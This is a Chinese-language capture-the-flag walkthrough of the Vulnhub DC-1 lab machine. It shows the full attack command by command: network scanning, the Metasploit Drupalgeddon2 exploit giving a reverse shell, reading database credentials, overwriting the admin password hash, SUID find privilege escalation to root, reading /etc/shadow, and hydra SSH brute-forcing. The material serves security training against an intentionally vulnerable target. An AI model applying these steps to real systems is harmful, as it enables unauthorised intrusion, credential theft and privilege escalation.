1. 程式人生 > 實用技巧 >Vulnhub靶機實戰—DC-1

Vulnhub靶機實戰—DC-1

靶機DC-1下載地址:https://download.vulnhub.com/dc/DC-1.zip

描述:

靶機DC-1共有5個flag,並且需要root許可權才可以找到並檢視flag。
將下載的ova檔案匯入VMware Workstation15(低版本不支援匯入ova檔案)。
配置網路為nat模式(你需要知道你的靶機的IP網段,最好與kali攻擊機處於同一網段)。

環境:

Vmware 15 Pro虛擬機器軟體
DC-1靶機IP地址:192.168.232.132
Kali的IP地址:192.168.232.128

操作:

檢視kali的ip地址

ifconfig

kali ip:192.168.232.128
掃靶機ip:

arp-scan -l

靶機ip:192.168.232.132
注意:掃出來的.2和.254是預設的,並不是靶機ip。如果掃不到靶機ip,把靶機的網路設定為NAT模式重啟,多掃幾遍。
nmap掃描靶機開放的埠

nmap -sVT -p- 192.168.232.132(全埠掃)

靶機開放了22,80,111,57084埠
因為開放了80埠,直接網頁訪問192.136.232.132,看到典型的Drupal,啟動Metersploit。(典型msf攻擊)

msfconsole
search drupal

嘗試使用查詢出來的模組,從一個開始嘗試使用,發現只有三、五兩個模組可以針對Drupal使用,並能夠成功反彈shell,其他模組皆失敗。

msf > use exploit/unix/webapp/drupal_drupalgeddon2
exploit(unix/webapp/drupal_drupalgeddon2) > show options
exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.232.132
exploit(unix/webapp/drupal_drupalgeddon2) > run

反彈shell後,使用ls命令可以檢視在當前/var/www目錄下存在flag1.txt

ls
cat flag1.txt

flag1:Every good CMS needs a config file - and so do you.
每一個好的CMS都需要一個配置檔案-你也是。
查詢後發現CMS的配置檔案是網站根目錄下的/site/default下的settings.php檔案

meterpreter > cd sites/default
meterpreter > cat settings.php

發現flag2和資料庫配置檔案

Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these credentials?

暴力和字典攻擊並不是獲得訪問許可權的唯一方法(而且您需要訪問許可權)。你能用這些證件做什麼?

資料庫資訊:
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
使用mysql命令登入,發現MySQL命令無效

meterpreter > mysql -udbuser -pR0ck3t

輸入shell,切換外殼,再次登入mysql發現終端不能正常回顯資訊

meterpreter > shell
mysql -udbuser -pR0ck3t

再次進入shell下,輸入python命令,發現靶機已安裝python 2.7.3,通過pty.spawn()獲得互動式shell

meterpreter > shell
python -V
python -c 'import pty; pty.spawn("/bin/bash")'

使用上面找到mysql登入使用者名稱和密碼登入mysql資料庫:
mysql -udbuser -pR0ck3t #登入MySQL資料庫
mysql> show databases; #檢視資料庫
有一個預設的資料庫和drupaldb

mysql> use drupaldb;     #使用drupaldb資料庫
mysql> show tables;       #檢視資料庫內的表

找到users表,斷定和使用者密碼有關.

mysql> select * from users;   #檢視users表內容
name:admin  pass:$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

接下來破解admin的密碼
使用Drupal對資料庫的加密方法,加密指令碼位置在網站根目錄下的scripts下,使用加密指令碼加密新密碼123456,生成加密密文.

./scripts/password-hash.sh 123456
password: 123456             
hash: $S$DbpIRKV5QXrJK4Gbhb.LDFoTjqoYNKAOB.DY3V1BL.JMbMkZANhY

修改admin使用者的密碼,更新為新密碼:123456

update  drupaldb.users  set pass="$S$DbpIRKV5QXrJK4Gbhb.LDFoTjqoYNKAOB.DY3V1BL.JMbMkZANhY" where uid=1;

使用使用者admin/123456登入網站,在content模組下,找到flag3。
flag3:
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

Flag3提示詞有perms、find、-exec、shadow共四個特殊提示詞
應該要檢視shadow檔案,並使用find命令提權
使用find命令查詢有特殊許可權suid的命令

find / -perm -4000

發現了/usr/bin/find
使用find命令提權

find ./ aaa -exec '/bin/sh' \;
whoami

得到root許可權,檢視/etc/shadow 檔案,發現flag4使用者,並且flag4使用者可以登入並且有密碼,所以存在flag4的家目錄。

cat /etc/shadow

注:爆破flag4使用者密碼可以省略,可以在root提權後直接進入flag4家目錄。

wget http://www.openwall.com/john/j/john-1.8.0.tar.gz   #下載John密碼包
tar -xvf john-1.8.0.tar.gz  #解壓縮
cd john-1.8.0/ src    #進入原始碼目錄下
uname -a  #檢視當前系統版本
make linux-x86-64   #編譯並指定當前的Linux系統版本

使用hydra+John密碼包對flag4的密碼進行爆破,爆破密碼為:flag4/orange。

hydra -l flag4 -P john-1.8.0/run/password.lst ssh://192.168.232.132 -f -vV -o hydraflag4.ssh
login: flag4   password: orange

使用flag4使用者可以通過ssh登入系統

ssh [email protected]
密碼:orange

進入flag4使用者的家目錄/home/flag4,找到flag4.txt文字檔案,找到flag4。

cd /home/flag4
cat flag4.txt

Flag4:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
你能用同樣的方法來查詢或訪問根目錄中的標誌嗎?
可能。但也許不是那麼容易。或許是這樣?

在flag4中提示在root根目錄下存在,進入到root家目錄/root下找到thefinalflag.txt文字檔案。

cd /root
cat thefinalflag.txt

thefinalflag:
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
做得好!!!!!
希望你喜歡這個並學到了一些新的技能。
你可以讓我知道你對這次小旅行的看法。
通過Twitter聯絡我-@dcau7

參考連結:
https://blog.csdn.net/weixin_43583637/article/details/101542749
https://blog.csdn.net/Auuuuuuuu/article/details/97832336

2020-8-01 第二週